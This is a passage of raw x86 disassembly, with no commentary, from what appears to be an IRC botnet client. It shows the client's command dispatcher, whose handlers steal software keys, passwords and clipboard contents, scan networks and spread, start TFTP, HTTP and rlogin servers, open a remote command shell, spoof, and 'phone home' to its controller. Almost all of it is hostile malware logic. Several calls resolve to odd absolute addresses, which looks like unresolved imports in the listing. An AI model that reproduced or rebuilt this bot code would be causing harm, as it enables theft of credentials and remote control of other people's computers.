		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1FC
		push	offset dword_42C1F0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1EC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1D8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------

loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]

loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------

loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"

loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C1A4
		call	sub_4151AC
		pop	ecx

loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C170
		push	eax
		mov	dword_4CE758, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C0C8
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------

loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------

loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5

loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C054
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4037D5

loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------

loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_42C018
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_431622
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431622
		jz	loc_401E94
		mov	ecx, edx

loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"

loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFD8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------

loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431440, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431440

loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------

loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431440[ecx]
		mov	[ebp+var_74C], ecx

loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF48
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F

loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D

loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------

loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl

loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"

loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF58
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403A83

loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------

loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		nop
		call	near ptr 2670914h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF1C
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEE4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BEC4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------

loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2660000h
		nop

loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108

loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403C13

loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------

loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42BE54
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------

loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C

loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------

loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		call	near ptr 2660AB7h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h

loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BE18
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403D85

loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------

loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42BDDC

loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------

loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------

loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080

loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]

loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D158

loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDA0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403EDA

loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------

loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42BD64
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------

loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D

loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------

loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAEC0
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD40
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BD14
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCE8

loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------

loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BCC4
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC98
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC80
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC64
		jmp	loc_404285
; ---------------------------------------------------------------------------

loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403FCB
